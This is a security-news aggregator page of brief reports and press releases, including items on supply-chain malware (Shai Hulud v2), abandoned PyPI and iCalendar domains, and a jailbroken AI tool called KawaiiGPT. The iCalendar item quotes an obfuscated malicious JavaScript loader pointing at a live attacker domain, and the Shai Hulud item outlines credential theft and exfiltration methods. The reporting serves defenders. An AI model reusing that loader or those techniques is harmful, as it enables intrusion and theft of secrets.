ADMIN.FOUNDATION

  • KawaiiGPT: A Free WormGPT Clone Using DeepSeek, Gemini, and Kimi-K2 Models

    ·

    ,

    A new open-source tool called KawaiiGPT has surfaced on GitHub, positioning itself as a “cute” but unrestricted version of artificial intelligence. Developed by a user known as MrSanZz (along with contributors Shoukaku07 and FlamabyX5), the project is attracting attention for offering a free alternative to paid “jailbroken” AI models. It describes itself as a “WormGPT kawaii ver,” […]

    The post KawaiiGPT: A Free WormGPT Clone Using DeepSeek, Gemini, and Kimi-K2 Models appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Black Friday Scammers Are Impersonating Major Brands to Steal Your Money

    ·

    ,

    Black Friday is supposed to be chaotic, sure, but not this chaotic. Amid genuine doorbusters and flash sales, a large-scale, highly polished scam campaign is hijacking web traffic and pushing shoppers to fake “survey reward” pages impersonating dozens of major brands all to steal payment card details and personal data. Security research into malvertising ahead […]

    The post Black Friday Scammers Are Impersonating Major Brands to Steal Your Money appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Vulnerable Codes in Legacy Python Packages Enables Attacks on Python Package Index Via Domain Compromise

    ·

    , ,

    Hidden vulnerabilities in legacy code often create unseen risks for modern development environments.

    One such issue recently surfaced within the Python ecosystem, where outdated bootstrap scripts associated with the zc.buildout tool expose users to domain takeover attacks.

    These scripts, designed to automate the installation of package dependencies, contain hardcoded references to external domains that are no longer under the control of the original maintainers.

    The core of the problem is a specific behavior in these scripts where they attempt to fetch the deprecated distribute package from python-distribute[.]org.

    This domain has been abandoned since 2014 and is currently parked and available for purchase. If a threat actor were to acquire this domain, they could serve malicious payloads that would be automatically downloaded and executed by any developer running the compromised bootstrap script.

    Packaging utilities used by the PyPI community in early 2010s (Source - Reversinglabs)
    Packaging utilities used by the PyPI community in early 2010s (Source – Reversinglabs)

    This creates a direct path for supply chain attacks, bypassing standard security checks.

    Reversinglabs security analysts identified this vulnerability, noting that it affects several well-known packages, including slapos.core, pypiserver, and tornado.

    Although many developers have transitioned to newer packaging standards, these legacy files often persist in repositories.

    The vulnerability is not triggered during a standard pip install but typically requires manual execution or invocation through a build process like a Makefile.

    Once activated, the script blindly trusts the external source, creating a significant supply chain risk similar to the fsevents incident in the npm registry.

    Analyzing the Execution Mechanism

    The technical core of this vulnerability lies in the insecure way the bootstrap script handles dependency resolution. The code logic specifically checks for the presence of the distribution package.

    Code fetching and executing the distribute setup in the bootstrap.py file (Source - Reversinglabs)
    Code fetching and executing the distribute setup in the bootstrap.py file (Source – Reversinglabs)

    If it is not found, the script initiates a download routine using Python’s built-in urllib libraries. As illustrated in the figure above, the distributed setup is fetched and executed in bootstrap.py; the script explicitly requests content from the now-defunct python-distribute[.]org.

    Crucially, the response from this URL is passed directly to an exec() function, which runs the code immediately without any integrity checks or signature verification.

    Proof-of-concept script that exploits the vulnerability in slapos.core (Source - Reversinglabs)
    Proof-of-concept script that exploits the vulnerability in slapos.core (Source – Reversinglabs)

    To validate this vector, researchers crafted a proof-of-concept exploit targeting slapos.core. The Proof-of-concept script exploits the vulnerability in slapos.core, the PoC works by manipulating command-line arguments to force the script into its vulnerable download path.

    The result of the terminal output after running the PoC script confirms that the script successfully connects to the external domain, proving that any code hosted there would run with the user’s full privileges.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Vulnerable Codes in Legacy Python Packages Enables Attacks on Python Package Index Via Domain Compromise appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Over 390 Abandoned iCalendar Sync Domains Could Expose ~4 Million Devices to Security Risks

    ·

    , ,

    Digital calendars have become indispensable tools for managing personal and professional schedules. Users frequently subscribe to external calendars for public holidays, sports schedules, or community events to keep their agendas up to date.

    While these subscriptions offer convenience, they create a persistent connection between a user’s device and an external server.

    If the domain hosting the calendar is abandoned and subsequently expires, it opens a dangerous vulnerability.

    Cybercriminals can re-register these expired domains, effectively hijacking the trust established by the original subscription.

    The attack vector is particularly insidious because it requires no new action from the victim. The user’s device continues to perform background synchronization requests to the now-malicious domain.

    Attackers can then push diverse threats directly into the calendar interface, ranging from scareware that mimics system security alerts to phishing links disguised as exclusive offers.

    This method bypasses traditional email filters, leveraging the implicit trust users place in their personal planning tools to deliver malicious payloads.

    Bitsight security analysts identified this emerging threat landscape after investigating a single suspicious domain distributing holiday events.

    Their deep dive revealed a sprawling network of over 390 abandoned domains that were actively receiving synchronization requests.

    Further analysis indicated that these domains were communicating with approximately 4 million unique IP addresses daily, primarily from iOS and macOS devices.

    Infection and redirection chain (Source - Bitsight)
    Infection and redirection chain (Source – Bitsight)

    This massive scale highlights how a simple lapsed domain registration can expose millions of users to potential compromise without their knowledge.

    Technical Breakdown of the Synchronization Traffic

    The investigation uncovered specific technical patterns that facilitate this exploitation. The traffic is characterized by HTTP requests where the Accept header signals the device’s readiness to parse calendar files.

    Operational overview and potential risks (Source - Bitsight)
    Operational overview and potential risks (Source – Bitsight)

    The User-Agent string, typically containing the daemon identifier, explicitly identifies the source as the iOS Calendar system, confirming the request is a background process rather than a user-initiated browser visit.

    GET /[URI]
    Host: [Target_Domain]
    User-Agent: iOS/17.5.1 (21F90) dataaccessd/1.0
    Accept: text/calendar

    Researchers categorized the malicious traffic into two main types: Base64-encoded URIs and Webcal query requests.

    Calendar .ics file returned by active domain (Source - Bitsight)
    Calendar .ics file returned by active domain (Source – Bitsight)

    As seen in the above figure that the Calendar .ics file returned by active domain, the server responds with an iCalendar file that can contain manipulated event data.

    Additionally, the underlying infrastructure often employs heavily obfuscated JavaScript to execute deeper compromises.

    The code snippet below demonstrates how a payload is dynamically injected into the page’s Document Object Model to initiate a redirection chain:-

    _0x407c32.src = "https://render.linetowaystrue.com/jRQxhz";
    if (document.currentScript) {
    document.currentScript.parentNode.insertBefore(_0x407c32, document.currentScript);
    }

    This script, once deobfuscated, reveals the mechanism used to load further malicious content, often leading users to the scams.

    By understanding these distinct traffic signatures and script behaviors, security professionals can better identify and block this covert attack vector.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Over 390 Abandoned iCalendar Sync Domains Could Expose ~4 Million Devices to Security Risks appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Bloody Wolf Expands Java-based NetSupport RAT Attacks in Kyrgyzstan and Uzbekistan

    ·

    The threat actor known as Bloody Wolf has been attributed to a cyber attack campaign that has targeted Kyrgyzstan since at least June 2025 with the goal of delivering NetSupport RAT. As of October 2025, the activity has expanded to also single out Uzbekistan, Group-IB researchers Amirbek Kurbanov and Volen Kayo said in a report published in collaboration with Ukuk, a state enterprise under the

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • One Identity Safeguard Named a Visionary in the 2025 Gartner Magic Quadrant for PAM

    ·

    Alisa Viejo, CA, USA, November 27th, 2025, CyberNewsWire

    Gartner has recognized One Identity as a Visionary in the 2025 Gartner Magic Quadrant for Privileged Access Management (PAM). 

    In a rapidly transforming market, innovation and demonstrated performance continue to shape expectations.

    The placement as a Visionary reflects what the company observes across its customer and partner ecosystem, highlighting a collective emphasis on simplified security, accelerated adoption and intelligence-driven identity protection.

    Definition of the Visionary Classification

    According to Gartner, Visionaries are “noted for their innovative approaches to PAM technologies, methodologies, and means of delivery.” 

    Being named a Visionary validates their strategy – blending AI-driven administration, flexible deployment and customer-first design – as we continue building the next era of privileged access management.

    They believe the focus on streamlined innovation, automation and value is exactly what modern organizations demand. 

    Analyst Observations on One Identity Safeguard for PAM

    One Identity has seen analyst support for several key strengths across the One Identity Safeguard and Cloud PAM Essentials portfolio: 

    • Product excellence: The products received among the highest scores for privileged session management and PEDM for UNIX/Linux and macOS, confirming the depth and reliability of our core platform. 
    • Customer experience: Praised for ease of use, intuitive UI, deployment simplicity, and management features, backed by responsive, multi-tier support. 
    • AI-driven innovation: With Azure AI-powered natural-language search and AI-assisted configuration, we’re helping security teams move faster, respond smarter and simplify at scale. 
    • Pricing & value: Although some of the top PAM solutions are seen as costly, One Identity was recognized specifically for below the market average pricing, particularly for SaaS offerings – delivering enterprise-grade security at exceptional value. 

    These strengths extend beyond functional capabilities and reflect how customer feedback influences development priorities, including usability and affordability.

    Visionary recognition also reflects the company’s current trajectory, indicating external validation of a path oriented toward leadership and sustained advancement.

    Key Innovations in One Identity Safeguard for Modern PAM

    To meet the pace of identity-driven enterprises, PAM continues to transition from static control to adaptive intelligence.

    The following seven innovations remain central to modern privileged access management and illustrate how One Identity Safeguard supports evolving requirements:

    Unified, comprehensive PAM

    Enhanced control over privileged access with integrated password vaulting, session recording, and analytics – all within the One Identity Safeguard platform. 

    Flexible deployment

    Expanded support for cloud, on-prem, and hybrid models with scalable, cost-efficient licensing. 

    Streamlined implementation

    Simplified setup through automation tools and cloud-ready configurations that reduce time-to-value. 

    Improved usability

    One Identity Safeguard has a modernized UI, with ease of use, smoother workflows, and in-product help minimizes complexity and training needs. 

    Consistent, top-notch support

    Standardized professional services and strong implementation guidance ensure excellence everywhere. 

    AI-powered administration and documentation

    Contextual in-product guidance and intelligent search deliver faster answers, fewer support tickets and smarter administration. 

    Continuous optimization

    Agile, customer-driven updates in our solutions enhance speed, usability and value across releases. 

    Outlook for Privileged Access Management

    As organizations secure both human and machine identities, the future of PAM demands clarity, automation and intelligence. 

    One Identity is uniquely positioned to deliver all three – helping customers protect privileged access, simplify operations and accelerate digital transformation with confidence. 

    The 2025 Gartner Magic Quadrant for Privileged Access Management outlines how vision, innovation and customer success continue to influence the evolution of privileged access.

    About One Identity

    One Identity delivers unified identity security solutions that help customers strengthen their overall cybersecurity posture and protect the people, applications, and data essential to business.

    Their Unified Identity Security Platform encompasses a variety of identity access and management tools, including AI-driven security solutions.

    One Identity brings together the 4 pillars of IAM: Identity Governance and Administration (IGA), Access Management (AM), Privileged Access Management (PAM), and Active Directory Management (AD Mgmt) capabilities to enable organizations to shift from a fragmented to a holistic approach to identity security.

    One Identity is trusted and proven on a global scale – managing more than 500 million identities for more than 11,000 organizations worldwide.

    Users can find more information here: https://www.oneidentity.com

    Contact

    Global Corporate Communications

    Liberty Pike

    One Identity LLC

    liberty.pike@oneidentity.com

    The post One Identity Safeguard Named a Visionary in the 2025 Gartner Magic Quadrant for PAM appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • One Identity Safeguard Named a Visionary in the 2025 Gartner Magic Quadrant for PAM

    ·

    Alisa Viejo, CA, USA, November 27th, 2025, CyberNewsWire Gartner has recognized One Identity as a Visionary in the 2025 Gartner Magic Quadrant for Privileged Access Management (PAM).  In a rapidly transforming market, innovation and demonstrated performance continue to shape expectations. The placement as a Visionary reflects what the company observes across its customer and partner ecosystem, […]

    The post One Identity Safeguard Named a Visionary in the 2025 Gartner Magic Quadrant for PAM appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Quttera Launches “Evidence-as-Code” API to Automate Security Compliance for SOC 2 and PCI DSS v4.0

    ·

    New API capabilities and AI-powered Threat Encyclopedia eliminate manual audit preparation, providing real-time compliance evidence and instant threat intelligence Quttera today announced major enhancements to its Web Malware Scanner API that transform static security scanning into automated compliance evidence. The update introduces real-time evidence streaming and compliance mapping, directly addressing the manual burden of audit […]

    The post Quttera Launches “Evidence-as-Code” API to Automate Security Compliance for SOC 2 and PCI DSS v4.0 appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Quttera Launches “Evidence-as-Code” API to Automate Security Compliance for SOC 2 and PCI DSS v4.0V

    ·

    New API capabilities and AI-powered Threat Encyclopedia eliminate manual audit preparation, providing real-time compliance evidence and instant threat intelligence

    Quttera today announced major enhancements to its Web Malware Scanner API that transform static security scanning into automated compliance evidence. The update introduces real-time evidence streaming and compliance mapping, directly addressing the manual burden of audit preparation that costs organizations 30-40 hours per audit cycle.

    The announcement includes two integrated capabilities: API-driven compliance automation that feeds structured security evidence into GRC platforms (https://quttera.com/quttera-web-malware-scanner-api), and the Quttera Threat Encyclopedia (https://threats.quttera.com/), an AI-powered resource providing instant context for detected threats.

    Automating the Manual Evidence Chase

    Organizations preparing for SOC 2, ISO 27001, and PCI DSS v4.0 audits traditionally spend dozens of hours manually collecting security evidence—exporting reports, capturing screenshots, and mapping findings to compliance controls. This approach creates outdated evidence, doesn’t scale across frameworks, and fails to prove continuous monitoring.

    “Security teams are exhausted by the manual ‘evidence chase’ required before every audit,” said Michael Novofastovsky, CTO of Quttera. “We’re transforming malware detection into ‘Evidence-as-Code’—structured, real-time security data that flows automatically into compliance workflows. Whether organizations use Drata, Vanta, or custom GRC systems, our API provides continuous proof without human intervention.”

    Quttera’s API converts threat detection into structured JSON with embedded compliance metadata, mapping findings to controls across SOC 2 (CC6.1, CC7.2), PCI DSS v4.0 (Requirements 6.4.3, 11.6.1), ISO 27001, and GDPR simultaneously.

    Addressing PCI DSS v4.0’s New Requirements

    The update specifically targets PCI DSS v4.0 requirements mandatory since March 2025, particularly Requirements 6.4.3 (script authorization on payment pages) and 11.6.1 (file integrity monitoring). These requirements demand continuous automated detection—capabilities manual processes cannot provide at scale.

    “PCI DSS v4.0 requires real-time detection of unauthorized changes to payment scripts,” Novofastovsky explained. “Our API provides timestamped evidence that monitoring is active 24/7, changes are detected automatically, and controls are continuously validated.”

    AI-Powered Threat Intelligence

    The Threat Encyclopedia addresses the context gap security teams face when responding to detections. Integrated directly into scan reports, it provides:

    • Technical breakdown of malware behavior
    • Business impact and risk classification
    • Step-by-step remediation guidance
    • Connections to known attack campaigns

    “We’re automating both sides of the problem,” said Novofastovsky. “The API handles compliance proof. The Threat Encyclopedia handles operational response. Together, they eliminate manual evidence collection and research overhead.”

    The Encyclopedia currently documents 80+ web malware categories, with AI-assisted expansion based on emerging threats.

    Key Capabilities

    • Automated Control Mapping: Detections tagged for multiple compliance frameworks simultaneously
    • Real-Time Evidence Streaming: Continuous JSON feeds replace static PDF reports
    • Behavioral Detection: Heuristic scanning identifies zero-day and polymorphic threats
    • Integration Flexibility: Works with existing GRC platforms via standard REST API

    Availability

    Enhanced capabilities are available immediately to all Quttera API subscribers.

    About Quttera

    Quttera provides automated website security and malware detection solutions, delivering compliance-ready evidence for organizations across financial services, healthcare, e-commerce, and technology sectors. Its comprehensive suite includes advanced heuristic scanning, blacklist monitoring, and remediation services, helping businesses worldwide protect their digital assets and reputation.

    For more information, users can visit https://quttera.com

    Contact

    CTO
    Michael Novofastovsky
    Quttera
    michael@quttera.com

    The post Quttera Launches “Evidence-as-Code” API to Automate Security Compliance for SOC 2 and PCI DSS v4.0V appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Shai Hulud v2 Exploits GitHub Actions Workflows as Attack Vector to Steal Secrets

    ·

    , ,

    The software supply chain is under siege from “Shai Hulud v2,” a sophisticated malware campaign that has compromised 834 packages across the npm and Maven ecosystems.

    This new wave specifically targets GitHub Actions workflows, exploiting pull_request_target triggers to inject malicious code into widely used libraries.

    The attack has impacted major projects like PostHog, Zapier, and AsyncAPI, leveraging compromised automation tokens to infect downstream dependencies systematically.

    The infection process relies on a stealthy two-stage loader initiated by a pre-install script named setupbun.js.

    This script installs the Bun runtime to execute an obfuscated payload, bunenvironment.js, while suppressing standard output to avoid detection during build logs.

    By pivoting through compromised CI pipelines, the malware gains privileged access to repository secrets, enabling it to modify source code, increment patch versions, and republish infected packages to public registries.

    Socket.dev security analysts identified the malware’s unique persistence mechanism, noting its use of a beacon phrase, “Sha1-Hulud The Second Coming,” effectively searching GitHub to re-trigger infections.

    This ensures that even if individual repositories are cleaned, the attackers can locate and re-compromise vulnerable endpoints.

    Campaign’s impact

    The campaign’s impact is extensive, exposing sensitive credentials from tens of thousands of repositories and marking a dangerous evolution in automated supply chain attacks.

    Once entrenched in a CI environment, the malware executes a comprehensive credential harvesting routine. It captures all available environment variables, specifically targeting GITHUB_TOKEN, NPM_TOKEN, and AWS_ACCESS_KEY_ID, while simultaneously deploying a TruffleHog binary to scan the local filesystem for embedded secrets.

    Sha1-Hulud - The Second Coming (Source - Socket.dev)
    Sha1-Hulud – The Second Coming (Source – Socket.dev)

    Unlike typical scrapers, this payload aggressively enumerates cloud infrastructure, cycling through every region in AWS, Google Cloud, and Azure to extract secrets from managed vaults.

    All stolen data is obscured using three layers of Base64 encoding before being exfiltrated to a randomly generated GitHub repository created within the victim’s account.

    Furthermore, the malware attempts privilege escalation on Linux runners by manipulating sudoers or executing Docker run –privileged commands to gain root access.

    If no valid credentials are found to propagate the worm, the malware executes a destructive wiper function that deletes the files.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Shai Hulud v2 Exploits GitHub Actions Workflows as Attack Vector to Steal Secrets appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶